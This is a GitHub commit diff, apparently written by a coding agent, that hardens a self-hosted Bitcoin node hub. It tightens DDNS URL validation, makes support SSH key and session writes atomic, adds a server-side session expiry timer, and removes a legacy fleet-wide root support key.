Fix all 8 security hardening blockers for PR #423

Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-08-11 15:38:08 +00:00
committed by GitHub
co-authored by naturallaw777
parent 894707a87c
commit 947c04834d
8 changed files with 979 additions and 452 deletions
@@ -188,6 +188,14 @@ def _validate_ddns_url(url: str) -> str:
) )
if "%00" in url.lower(): if "%00" in url.lower():
raise ValueError("DDNS URL must not contain encoded null bytes") raise ValueError("DDNS URL must not contain encoded null bytes")
# Reject any remaining $ expressions — after ${IP} substitution there
# must be none. Callers that store ${IP} placeholder URLs must substitute
# before calling this function.
if "$" in url:
raise ValueError("DDNS URL must not contain $ expressions")
# Require the exact /update/ path used by Njal.la
if parsed.path != "/update/":
raise ValueError("DDNS URL path must be exactly /update/")
return url return url
+166 -212
View File
@@ -19,10 +19,12 @@ import shutil
import socket import socket
import subprocess import subprocess
import tempfile import tempfile
import threading
import time import time
import urllib.error import urllib.error
import urllib.parse import urllib.parse
import urllib.request import urllib.request
import uuid
from threading import Lock from threading import Lock
from fastapi import FastAPI, HTTPException from fastapi import FastAPI, HTTPException
@@ -37,6 +39,7 @@ from starlette.middleware.base import BaseHTTPMiddleware
from .config import load_config, load_versions from .config import load_config, load_versions
from . import systemctl as sysctl from . import systemctl as sysctl
from . import nwc_hub_manager as _nwc_mgr from . import nwc_hub_manager as _nwc_mgr
from . import support_ops as _support_ops
from .security_helpers import ( from .security_helpers import (
_nix_escape, _nix_escape,
NPUB_RE, NPUB_RE,
@@ -185,6 +188,11 @@ PROTECTED_WALLET_PATHS: list[str] = [
"/home", "/home",
] ]
# Server-side independent expiry timer for the active support session.
# Scheduled when a session is enabled; cancelled when disabled.
_support_expiry_timer: threading.Timer | None = None
_support_expiry_timer_lock = Lock()
CATEGORY_ORDER = [ CATEGORY_ORDER = [
("infrastructure", "Infrastructure"), ("infrastructure", "Infrastructure"),
("bitcoin-base", "Bitcoin Base"), ("bitcoin-base", "Bitcoin Base"),
@@ -1997,26 +2005,13 @@ def _expire_support_if_stale() -> bool:
startup, so expiry is enforced even if the user never calls startup, so expiry is enforced even if the user never calls
``/api/support/disable``. ``/api/support/disable``.
""" """
try: return _support_ops.expire_if_stale(
with open(SUPPORT_STATUS_FILE, "r") as f: SUPPORT_STATUS_FILE,
info = json.load(f) clock_fn=time.time,
except (FileNotFoundError, json.JSONDecodeError): disable_fn=_disable_support,
return False audit_fn=_log_support_audit,
expires_at = info.get("expires_at") max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
if expires_at is None: )
# Legacy session without expiry: treat as expired after
# SUPPORT_SESSION_MAX_SECONDS from when it was enabled.
enabled_at = info.get("enabled_at", 0)
if enabled_at and (time.time() - enabled_at) > SUPPORT_SESSION_MAX_SECONDS:
_log_support_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
_disable_support()
return True
return False
if time.time() >= expires_at:
_log_support_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
_disable_support()
return True
return False
def _get_support_session_info() -> dict: def _get_support_session_info() -> dict:
@@ -2169,82 +2164,33 @@ def _get_wallet_unlock_info() -> dict:
return {} return {}
# The exact legacy fleet-wide support key comment used in old deployments. # The exact base64 blob of the historical fleet-wide root support key is defined
# This is the only key that the upgrade migration will remove from root's # in support_ops.LEGACY_ROOT_KEY_BLOB and used by _remove_legacy_root_support_key().
# authorized_keys. All other keys (admin keys, etc.) are preserved.
_LEGACY_ROOT_SUPPORT_KEY_COMMENT = "sovransystemsos-support"
def _remove_legacy_root_support_key() -> bool: def _remove_legacy_root_support_key() -> bool:
"""One-time upgrade migration: remove the old fleet-wide support key from root. """One-time upgrade migration: remove the exact historical fleet-wide support key.
Reads ``/root/.ssh/authorized_keys``, removes only lines whose comment Identifies the key by its exact base64 blob, regardless of algorithm prefix
field exactly matches ``_LEGACY_ROOT_SUPPORT_KEY_COMMENT``, and writes the or comment field. All other keys, blank lines, and comment lines are
file back atomically. All other keys and blank/comment lines are preserved. The file is written atomically.
preserved unchanged.
Returns ``True`` if the file was updated, ``False`` if unchanged or absent. Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
""" """
try: return _support_ops.remove_legacy_root_key(
with open(AUTHORIZED_KEYS, "r") as f: AUTHORIZED_KEYS,
lines = f.readlines() _support_ops.LEGACY_ROOT_KEY_BLOB,
except FileNotFoundError: audit_fn=_log_support_audit,
return False
except OSError:
return False
kept: list[str] = []
removed_count = 0
for line in lines:
stripped = line.rstrip("\n")
# A key line has at least 2 whitespace-separated fields; the optional
# third field is the comment. We only remove lines where the comment
# matches exactly — no substring matching.
parts = stripped.split()
if len(parts) >= 3 and parts[2] == _LEGACY_ROOT_SUPPORT_KEY_COMMENT:
removed_count += 1
_log_support_audit(
"LEGACY_ROOT_KEY_REMOVED",
f"removed legacy fleet key with comment={_LEGACY_ROOT_SUPPORT_KEY_COMMENT!r}",
)
else:
kept.append(line)
if removed_count == 0:
return False
# Atomic write: write to tmp then rename
try:
auth_dir = os.path.dirname(AUTHORIZED_KEYS)
fd, tmp = tempfile.mkstemp(dir=auth_dir or ".", prefix=".authorized_keys_tmp")
try:
with os.fdopen(fd, "w") as f:
f.writelines(kept)
os.chmod(tmp, 0o600)
os.replace(tmp, AUTHORIZED_KEYS)
except Exception:
try:
os.unlink(tmp)
except OSError:
pass
raise
except OSError:
return False
_log_support_audit(
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
f"removed={removed_count} keys_retained={len(kept)}",
) )
return True
def _enable_support(pubkey: str) -> bool: def _enable_support(pubkey: str) -> bool:
"""Install a per-session SSH public key for the restricted support user. """Install a per-session SSH public key for the restricted support user.
The key is written only to the ``sovran-support`` account's The key is written only to the ``sovran-support`` account's
``authorized_keys``; root's ``authorized_keys`` is never modified. ``authorized_keys`` (atomically); root's ``authorized_keys`` is never
Applies POSIX ACLs to wallet directories to prevent access by the support modified. Applies POSIX ACLs to wallet directories to prevent access by
user without explicit user consent. the support user without explicit user consent.
Args: Args:
pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line). pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
@@ -2254,12 +2200,28 @@ def _enable_support(pubkey: str) -> bool:
if use_restricted_user: if use_restricted_user:
os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True) os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
with open(SUPPORT_USER_AUTH_KEYS, "w") as f: # Atomic write: mkstemp + os.replace
f.write(pubkey.strip() + "\n") fd, tmp_keys = tempfile.mkstemp(
os.chmod(SUPPORT_USER_AUTH_KEYS, 0o600) dir=SUPPORT_USER_SSH_DIR, prefix=".authorized_keys_tmp"
)
try:
with os.fdopen(fd, "w") as f:
f.write(pubkey.strip() + "\n")
os.chmod(tmp_keys, 0o600)
try:
pw = pwd.getpwnam(SUPPORT_USER)
os.chown(tmp_keys, pw.pw_uid, pw.pw_gid)
except Exception:
pass
os.replace(tmp_keys, SUPPORT_USER_AUTH_KEYS)
except Exception:
try:
os.unlink(tmp_keys)
except OSError:
pass
raise
try: try:
pw = pwd.getpwnam(SUPPORT_USER) pw = pwd.getpwnam(SUPPORT_USER)
os.chown(SUPPORT_USER_AUTH_KEYS, pw.pw_uid, pw.pw_gid)
os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid) os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
except Exception: except Exception:
pass pass
@@ -2271,18 +2233,35 @@ def _enable_support(pubkey: str) -> bool:
acl_applied = _apply_wallet_acls() if use_restricted_user else False acl_applied = _apply_wallet_acls() if use_restricted_user else False
wallet_paths = _get_existing_wallet_paths() wallet_paths = _get_existing_wallet_paths()
session_id = str(uuid.uuid4())
expires_at = time.time() + SUPPORT_SESSION_MAX_SECONDS
session_info = { session_info = {
"session_id": session_id,
"enabled_at": time.time(), "enabled_at": time.time(),
"enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"), "enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
"expires_at": time.time() + SUPPORT_SESSION_MAX_SECONDS, "expires_at": expires_at,
"use_restricted_user": use_restricted_user, "use_restricted_user": use_restricted_user,
"wallet_protected": use_restricted_user, "wallet_protected": use_restricted_user,
"acl_applied": acl_applied, "acl_applied": acl_applied,
"protected_paths": wallet_paths, "protected_paths": wallet_paths,
} }
os.makedirs(os.path.dirname(SUPPORT_STATUS_FILE), exist_ok=True) # Atomic write of session metadata
with open(SUPPORT_STATUS_FILE, "w") as f: status_dir = os.path.dirname(SUPPORT_STATUS_FILE)
json.dump(session_info, f) os.makedirs(status_dir, exist_ok=True)
fd2, tmp_status = tempfile.mkstemp(dir=status_dir, prefix=".support-session-tmp")
try:
with os.fdopen(fd2, "w") as f:
json.dump(session_info, f)
os.replace(tmp_status, SUPPORT_STATUS_FILE)
except Exception:
try:
os.unlink(tmp_status)
except OSError:
pass
raise
# Schedule server-side independent expiry timer
_schedule_expiry_timer(session_id, expires_at)
_log_support_audit( _log_support_audit(
"SUPPORT_ENABLED", "SUPPORT_ENABLED",
@@ -2294,9 +2273,55 @@ def _enable_support(pubkey: str) -> bool:
return False return False
def _schedule_expiry_timer(session_id: str, expires_at: float) -> None:
"""Schedule a server-side timer to expire the support session at ``expires_at``.
Cancels any previously scheduled timer first. The timer callback compares
the stored session_id and expires_at to prevent a stale timer (for an
older session) from revoking a replacement session.
"""
global _support_expiry_timer
delay = max(0.0, expires_at - time.time())
with _support_expiry_timer_lock:
if _support_expiry_timer is not None:
_support_expiry_timer.cancel()
t = threading.Timer(delay, _auto_expire_support, args=[session_id, expires_at])
t.daemon = True
t.start()
_support_expiry_timer = t
def _cancel_expiry_timer() -> None:
"""Cancel the active server-side support expiry timer if one is running."""
global _support_expiry_timer
with _support_expiry_timer_lock:
if _support_expiry_timer is not None:
_support_expiry_timer.cancel()
_support_expiry_timer = None
def _auto_expire_support(session_id: str, expected_expiry: float) -> None:
"""Timer callback: expire the session only if it still matches session_id / expires_at.
A stale timer for an older session must never revoke a replacement session.
"""
_support_ops.expire_if_stale(
SUPPORT_STATUS_FILE,
clock_fn=time.time,
disable_fn=_disable_support,
audit_fn=_log_support_audit,
session_id=session_id,
expected_expiry=expected_expiry,
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
)
def _disable_support() -> bool: def _disable_support() -> bool:
"""Remove the per-session support key and revoke all wallet access.""" """Remove the per-session support key and restore wallet protection."""
try: try:
# Cancel any pending expiry timer
_cancel_expiry_timer()
# Remove from support user's authorized_keys # Remove from support user's authorized_keys
try: try:
os.remove(SUPPORT_USER_AUTH_KEYS) os.remove(SUPPORT_USER_AUTH_KEYS)
@@ -2315,8 +2340,8 @@ def _disable_support() -> bool:
except FileNotFoundError: except FileNotFoundError:
pass pass
# Re-apply ACLs to ensure wallet access is revoked # Re-apply deny ACLs to restore wallet protection
_revoke_wallet_acls() _apply_wallet_acls()
# Remove session metadata # Remove session metadata
try: try:
@@ -4353,11 +4378,10 @@ async def api_features_toggle(req: FeatureToggleRequest):
await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale) await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
# When enabling a feature that relies on dynamic DNS, refresh the Njal.la # When enabling a feature that relies on dynamic DNS, refresh the Njal.la
# records right away instead of waiting for the 15-minute cron tick. # records right away instead of waiting for the 15-minute timer tick.
# The newly enabled service needs DNS pointing at this machine as soon as # The newly enabled service needs DNS pointing at this machine as soon as
# the rebuild finishes (cert issuance, reachability). # the rebuild finishes (cert issuance, reachability).
if req.enabled and feat_meta.get("needs_ddns"): if req.enabled and feat_meta.get("needs_ddns"):
await loop.run_in_executor(None, _ensure_njalla_script)
await loop.run_in_executor(None, _run_njalla_ddns) await loop.run_in_executor(None, _run_njalla_ddns)
# Clear the old rebuild log so the frontend doesn't pick up stale results # Clear the old rebuild log so the frontend doesn't pick up stale results
@@ -4464,130 +4488,29 @@ def _validate_safe_name(name: str) -> bool:
_NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER" _NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
# Narrow regex matching only the exact curl DDNS pattern written by old Hub # Import the migration regex from support_ops so there is a single canonical
# versions: curl <https://njal.la/...> with optional flags but NO semicolons, # definition used by both the production server and the test suite.
# shell expansions, backticks, or pipe characters. Anything else is rejected. _LEGACY_NJALLA_CURL_RE = _support_ops._LEGACY_NJALLA_CURL_RE
_LEGACY_NJALLA_CURL_RE = re.compile(
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
)
def _migrate_legacy_njalla_script() -> None: def _migrate_legacy_njalla_script() -> None:
"""Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store. """Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
Reads ``njalla.sh`` without executing or sourcing it. Parses only the Reads ``njalla.sh`` without executing or sourcing it. Parses only the
exact narrow curl-pattern lines written by old Hub versions. Any line exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
that does not match the narrow pattern (including potential injected versions. Delegates to ``support_ops.migrate_legacy_njalla_script`` so
commands) is silently discarded — never executed or logged. tests can exercise the same code path.
URLs extracted from matching lines are validated through
``_validate_ddns_url()`` (HTTPS only, njal.la allowlist) before being
added to ``ddns_urls.json``.
After migration the script is archived with permissions 0o000 so it can After migration the script is archived with permissions 0o000 so it can
no longer be executed by cron or any other mechanism. If the script does no longer be executed. If persistence fails the script is left untouched.
not exist or the JSON store already has entries, this is a no-op.
""" """
try: _support_ops.migrate_legacy_njalla_script(
with open(NJALLA_SCRIPT, "r") as f: NJALLA_SCRIPT,
content = f.read() _validate_ddns_url,
except FileNotFoundError: _save_ddns_urls,
return _load_ddns_urls,
except OSError: audit_fn=_log_support_audit,
return
existing_urls = _load_ddns_urls()
new_urls: list[str] = []
for raw_line in content.splitlines():
line = raw_line.strip()
if not line or line.startswith("#"):
continue
# Only match the exact IP-lookup pattern (not a DDNS curl line)
if line.startswith("IP=") or line.startswith("#!/"):
continue
m = _LEGACY_NJALLA_CURL_RE.match(line)
if not m:
# Unrecognised line — discard silently, do NOT log (may contain tokens)
continue
raw_url = m.group(1)
# Replace the bare ${IP} placeholder used in older scripts
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
try:
# Validate without the IP so host/scheme/path checks work; the
# placeholder is restored before storing.
_validate_ddns_url(url_to_validate)
except ValueError:
continue # Silently discard invalid / non-njalla URLs
if raw_url not in existing_urls and raw_url not in new_urls:
new_urls.append(raw_url)
if new_urls:
combined = existing_urls + new_urls
_save_ddns_urls(combined)
_log_support_audit(
"NJALLA_MIGRATION",
f"migrated {len(new_urls)} DDNS URLs from legacy script",
)
# Archive the script: remove executable bit so cron can no longer run it.
try:
os.chmod(NJALLA_SCRIPT, 0o000)
except OSError:
pass
def _ensure_njalla_script() -> None:
"""Create the base njalla.sh (shebang + public-IP lookup) if it is missing.
The Hub appends DDNS curl lines to this script, and those lines use ${IP}.
If the file exists only because of an append (e.g. the web app saved a
domain before the njalla-init systemd unit ran), it would lack the IP
lookup — ${IP} would expand empty during cron runs and the file couldn't
be executed directly. Keep in sync with modules/core/njalla.nix.
"""
njalla_dir = os.path.dirname(NJALLA_SCRIPT)
if njalla_dir:
os.makedirs(njalla_dir, exist_ok=True)
existing = ""
try:
with open(NJALLA_SCRIPT, "r") as f:
existing = f.read()
except OSError:
pass
# Use a unique sentinel instead of substring domain check — avoids
# CodeQL py/incomplete-url-substring-sanitization false positive and
# is more robust than matching "myip.opendns.com" anywhere in file.
if _NJALLA_HEADER_SENTINEL in existing:
return # base header already present
# Backwards compat: old files have the dig line but no sentinel.
# Check for the dig marker without using a domain substring to avoid
# CodeQL py/incomplete-url-substring-sanitization.
if "IP=$(dig" in existing:
# Migrate old file by prepending sentinel for future checks
try:
with open(NJALLA_SCRIPT, "r") as f:
old_content = f.read()
with open(NJALLA_SCRIPT, "w") as f:
f.write(f"{_NJALLA_HEADER_SENTINEL}\n" + old_content)
os.chmod(NJALLA_SCRIPT, 0o755)
except OSError:
pass
return
header = (
"#!/usr/bin/env bash\n"
f"{_NJALLA_HEADER_SENTINEL}\n"
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n\n"
"## Add DDNS entries below — one curl per line\n"
"## Managed via Sovran Hub web interface\n"
) )
try:
with open(NJALLA_SCRIPT, "w") as f:
f.write(header + existing)
os.chmod(NJALLA_SCRIPT, 0o755)
except OSError:
pass
def _load_ddns_urls() -> list[str]: def _load_ddns_urls() -> list[str]:
@@ -4626,10 +4549,12 @@ def _run_njalla_ddns() -> None:
Resolves the current public IP once, then invokes ``curl`` directly as a Resolves the current public IP once, then invokes ``curl`` directly as a
subprocess for each stored DDNS update URL. No shell interpolation is subprocess for each stored DDNS update URL. No shell interpolation is
performed and no user-controlled value is interpreted as shell syntax. performed and no user-controlled value is interpreted as shell syntax.
Each URL is revalidated through ``_validate_ddns_url()`` after ``${IP}``
substitution; URLs that fail validation are silently skipped.
Called when a domain/DDNS entry is saved and when a DDNS-backed feature Called when a domain/DDNS entry is saved and when a DDNS-backed feature
is enabled, so DNS is refreshed right away instead of waiting for the is enabled, so DNS is refreshed right away instead of waiting for the
15-minute cron job (see modules/core/njalla.nix). 15-minute timer tick (see modules/core/njalla.nix).
""" """
urls = _load_ddns_urls() urls = _load_ddns_urls()
if not urls: if not urls:
@@ -4648,10 +4573,15 @@ def _run_njalla_ddns() -> None:
except Exception: except Exception:
public_ip = "" public_ip = ""
if not public_ip:
return # skip to avoid sending bare ${IP} to curl
for raw_url in urls: for raw_url in urls:
try: try:
# Replace the placeholder with the validated IP (safe string replacement) # Replace the placeholder with the validated IP (safe string replacement)
url = raw_url.replace("${IP}", public_ip) if public_ip else raw_url url = raw_url.replace("${IP}", public_ip)
# Revalidate after substitution — enforces /update/ path, no $, etc.
_validate_ddns_url(url)
subprocess.run( subprocess.run(
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url], ["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
timeout=20, check=False, timeout=20, check=False,
@@ -6278,11 +6208,34 @@ async def _startup_security_migrations():
await loop.run_in_executor(None, _remove_legacy_root_support_key) await loop.run_in_executor(None, _remove_legacy_root_support_key)
# Expire any support session that has passed its deadline # Expire any support session that has passed its deadline
await loop.run_in_executor(None, _expire_support_if_stale) await loop.run_in_executor(None, _expire_support_if_stale)
# Reconcile the expiry timer: if a valid session survived startup expiry,
# schedule the server-side timer so expiry occurs even without user activity.
await loop.run_in_executor(None, _reconcile_expiry_timer)
def _reconcile_expiry_timer() -> None:
"""Reschedule the expiry timer from persisted session metadata on startup.
Called after ``_expire_support_if_stale`` so only still-valid sessions are
rescheduled. Cancels any previously running timer first.
"""
try:
with open(SUPPORT_STATUS_FILE, "r") as f:
info = json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
_cancel_expiry_timer()
return
session_id = info.get("session_id")
expires_at = info.get("expires_at")
if session_id and expires_at and time.time() < expires_at:
_schedule_expiry_timer(session_id, expires_at)
else:
_cancel_expiry_timer()
@app.on_event("shutdown") @app.on_event("shutdown")
async def _shutdown_domain_reachability(): async def _shutdown_domain_reachability():
"""Stop the background domain reachability checker.""" """Stop the background domain reachability checker and cancel expiry timer."""
global _domain_reachability_task global _domain_reachability_task
async with _domain_reachability_task_lock: async with _domain_reachability_task_lock:
task = _domain_reachability_task task = _domain_reachability_task
@@ -6291,3 +6244,4 @@ async def _shutdown_domain_reachability():
task.cancel() task.cancel()
with contextlib.suppress(asyncio.CancelledError): with contextlib.suppress(asyncio.CancelledError):
await task await task
_cancel_expiry_timer()
+283
View File
@@ -0,0 +1,283 @@
"""Sovran Hub — injectable support session operations.
Functions here handle legacy migration, root-key removal, and support-session
expiry. All filesystem paths, clocks, and callback functions are injectable
so that the test suite can exercise the exact production implementations with
temporary files and mocks rather than maintaining separate copies.
All functions depend only on the Python standard library and the co-located
``security_helpers`` module.
"""
from __future__ import annotations
import json
import os
import re
import tempfile
import time as _time_module
from typing import Callable
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
#
# Matches both forms written by old Hub versions:
# curl [flags] https://njal.la/... (unquoted)
# curl [flags] "https://njal.la/..." (quoted — historical form)
#
# Optional flags (in order): --silent, --max-time N, --fail
#
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
# ${...} except the literal ${IP} placeholder, and any extra arguments.
_LEGACY_NJALLA_CURL_RE = re.compile(
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
r'(?:'
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
r')$'
)
# The exact base64 blob of the historical fleet-wide root support key that
# was shipped with old releases of Sovran_SystemsOS and must be removed from
# /root/.ssh/authorized_keys on upgrade.
LEGACY_ROOT_KEY_BLOB = (
"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
)
def remove_legacy_root_key(
authorized_keys_path: str,
target_blob: str,
*,
audit_fn: Callable[[str, str], None] | None = None,
) -> bool:
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
algorithm prefix or comment field. All other keys, blank lines, and comment
lines are preserved unchanged. The file is written back atomically.
Args:
authorized_keys_path: Path to the authorized_keys file to modify.
target_blob: The exact base64 key blob to remove. Only lines whose
second whitespace-delimited field matches this value are removed;
no substring or comment matching is performed.
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging. The full key blob is **never** passed to this callback.
Returns:
``True`` if the file was modified (at least one line removed),
``False`` if unchanged or absent.
"""
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
try:
with open(authorized_keys_path, "r") as f:
lines = f.readlines()
except FileNotFoundError:
return False
except OSError:
return False
kept: list[str] = []
removed_count = 0
for line in lines:
stripped = line.rstrip("\n")
parts = stripped.split()
# Key lines have at least two space-separated fields: algorithm + blob.
# Remove only lines whose blob (parts[1]) matches exactly — no
# substring matching, no comment matching.
if len(parts) >= 2 and parts[1] == target_blob:
removed_count += 1
# Audit without logging the key blob itself.
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
else:
kept.append(line)
if removed_count == 0:
return False
# Atomic write: mkstemp in same directory + os.replace
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
try:
with os.fdopen(fd, "w") as f:
f.writelines(kept)
os.chmod(tmp, 0o600)
os.replace(tmp, authorized_keys_path)
except Exception:
try:
os.unlink(tmp)
except OSError:
pass
return False
_audit(
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
f"removed={removed_count} keys_retained={len(kept)}",
)
return True
def migrate_legacy_njalla_script(
script_path: str,
validate_fn: Callable[[str], str],
save_fn: Callable[[list[str]], None],
load_fn: Callable[[], list[str]],
*,
audit_fn: Callable[[str, str], None] | None = None,
) -> None:
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
Reads the script **without** executing or sourcing it. Parses only the
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
versions. Any other line is silently discarded — never executed or logged
(it may contain secret tokens).
On successful persistence the script is archived with mode ``0o000`` so
it can no longer be executed. If persistence fails the script is left
**untouched**.
Args:
script_path: Path to the legacy njalla.sh file.
validate_fn: URL validation function; raises ``ValueError`` on invalid
URLs. Callers must substitute the ``${IP}`` placeholder before
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
to the validator.
save_fn: Callable that atomically writes a ``list[str]`` URL list to
the persistent JSON store.
load_fn: Callable that returns the current ``list[str]`` URL list from
the persistent store.
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging. Token-bearing URLs are **never** passed to this callback.
"""
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
try:
with open(script_path, "r") as f:
content = f.read()
except FileNotFoundError:
return
except OSError:
return
existing_urls = load_fn()
new_urls: list[str] = []
for raw_line in content.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
continue
m = _LEGACY_NJALLA_CURL_RE.match(line)
if not m:
# Unrecognised line — discard silently, do NOT log (may contain tokens)
continue
# group(1) = quoted form, group(2) = unquoted form
raw_url = m.group(1) or m.group(2)
# Substitute placeholder so host/scheme/path validation works
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
try:
validate_fn(url_to_validate)
except ValueError:
continue # Silently discard invalid/non-Njal.la URLs
if raw_url not in existing_urls and raw_url not in new_urls:
new_urls.append(raw_url)
if new_urls:
combined = existing_urls + new_urls
try:
save_fn(combined)
except Exception:
# Persistence failed — leave the script untouched, return without
# archiving so the migration can be retried.
return
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
# Archive: remove all permission bits so cron/any mechanism cannot run it
try:
os.chmod(script_path, 0o000)
except OSError:
pass
def expire_if_stale(
status_file: str,
*,
clock_fn: Callable[[], float] | None = None,
disable_fn: Callable[[], bool] | None = None,
audit_fn: Callable[[str, str], None] | None = None,
session_id: str | None = None,
expected_expiry: float | None = None,
max_session_seconds: float = 86400.0,
) -> bool:
"""Expire a support session if its deadline has passed.
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
provided (used by the server-side timer callback), the stored session
metadata is compared field-by-field. A mismatch means a replacement
session has been started after this timer was scheduled; in that case the
function returns ``False`` without touching anything.
Args:
status_file: Path to the JSON session metadata file.
clock_fn: Callable returning current Unix time (default: ``time.time``).
disable_fn: Callable that performs the full disable sequence — removes
the support key, removes wallet-unlock metadata, restores deny
ACLs, clears session metadata, and audits the event. If ``None``,
expiry is detected but no action is taken (useful for tests that
want to inspect detection only).
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging.
session_id: If given, expiry is skipped unless the stored
``session_id`` field matches exactly.
expected_expiry: If given, expiry is skipped unless the stored
``expires_at`` field matches exactly.
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
when ``expires_at`` is absent.
Returns:
``True`` if a session was expired, ``False`` otherwise.
"""
_now = clock_fn if clock_fn is not None else _time_module.time
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
def _disable() -> bool:
return disable_fn() if disable_fn is not None else True
try:
with open(status_file, "r") as f:
info = json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
return False
# Stale-timer guard
if session_id is not None and info.get("session_id") != session_id:
return False
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
return False
expires_at = info.get("expires_at")
now = _now()
if expires_at is None:
enabled_at = info.get("enabled_at", 0)
if enabled_at and (now - enabled_at) > max_session_seconds:
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
_disable()
return True
return False
if now >= expires_at:
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
_disable()
return True
return False
+2 -3
View File
@@ -193,9 +193,8 @@ backup /etc/nix-bitcoin-secrets/ localhost/
# ── Cron ─────────────────────────────────────────────────── # ── Cron ───────────────────────────────────────────────────
# The legacy njalla.sh root cron job has been replaced by the systemd timer # The legacy njalla.sh root cron job has been replaced by the systemd timer
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Root-shell # defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
# cron execution of njalla.sh is no longer used. # retained so that rsnapshot and other module-defined cron jobs continue to run.
services.cron.enable = false;
# ── Tor ──────────────────────────────────────────────────── # ── Tor ────────────────────────────────────────────────────
services.tor = { enable = true; client.enable = true; torsocks.enable = true; }; services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
+42 -13
View File
@@ -6,6 +6,17 @@
"d /var/lib/njalla 0750 root root -" "d /var/lib/njalla 0750 root root -"
]; ];
# ── Install the shared validation helper so the DDNS runner can import it ─
# The exact same _validate_ddns_url() function used by the Hub web application
# is installed here as a read-only system file. The DDNS runner imports it
# directly so the two code paths share one validator — no weaker inline copy.
environment.etc."sovran/security_helpers.py" = {
source = ../../app/sovran_systemsos_web/security_helpers.py;
mode = "0444";
user = "root";
group = "root";
};
# ── Safe DDNS update service ───────────────────────────────────────────── # ── Safe DDNS update service ─────────────────────────────────────────────
# Reads DDNS update URLs from the JSON store written by the Hub API and # Reads DDNS update URLs from the JSON store written by the Hub API and
# invokes curl directly — no shell interpolation, no script execution. # invokes curl directly — no shell interpolation, no script execution.
@@ -23,6 +34,7 @@
NoNewPrivileges = true; NoNewPrivileges = true;
ProtectSystem = "strict"; ProtectSystem = "strict";
ReadWritePaths = [ "/var/lib/njalla" ]; ReadWritePaths = [ "/var/lib/njalla" ];
ReadOnlyPaths = [ "/etc/sovran" ];
ProtectHome = true; ProtectHome = true;
PrivateTmp = true; PrivateTmp = true;
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ]; RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
@@ -42,15 +54,31 @@
# Install the Python runner script at build time so the service can find it. # Install the Python runner script at build time so the service can find it.
# The script is owned by root and not world-writable. # The script is owned by root and not world-writable.
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
# production validator used by the Hub API — before executing any curl call.
